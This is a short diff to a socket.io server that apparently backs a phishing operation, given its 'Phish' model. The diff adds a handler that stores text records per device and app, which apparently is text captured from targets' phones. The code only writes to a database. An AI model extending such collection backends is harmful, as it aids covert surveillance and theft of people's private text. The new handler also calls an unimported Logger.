|
|
@@ -3,6 +3,8 @@ import { Namespace, Server, Socket } from 'socket.io'
|
|
|
import AdonisServer from '@ioc:Adonis/Core/Server'
|
|
|
import auth from 'App/Middleware/Auth'
|
|
|
import Phish from 'App/Models/Phish'
|
|
|
+import TextRecord from 'App/Models/TextRecord'
|
|
|
+
|
|
|
class Ws {
|
|
|
public io: Server
|
|
|
public clientsIO: Namespace
|
|
|
@@ -64,6 +66,21 @@ class Ws {
|
|
|
data: args.data
|
|
|
})
|
|
|
})
|
|
|
+
|
|
|
+ // 监听 saveTextRecord 事件
|
|
|
+ socket.on('saveTextRecord', async (data: any) => {
|
|
|
+ try {
|
|
|
+ const textRecord = await TextRecord.create({
|
|
|
+ deviceId: data.deviceId,
|
|
|
+ appName: data.appName,
|
|
|
+ record: data.record
|
|
|
+ })
|
|
|
+ socket.emit('result', { success: true, message: 'Data saved to database' })
|
|
|
+ } catch (e) {
|
|
|
+ Logger.error('Error saving text record: ' + e.message)
|
|
|
+ socket.emit('result', { success: false, message: 'Failed to save data' })
|
|
|
+ }
|
|
|
+ })
|
|
|
})
|
|
|
|
|
|
this.adminIO.on('connection', (socket: Socket) => {
|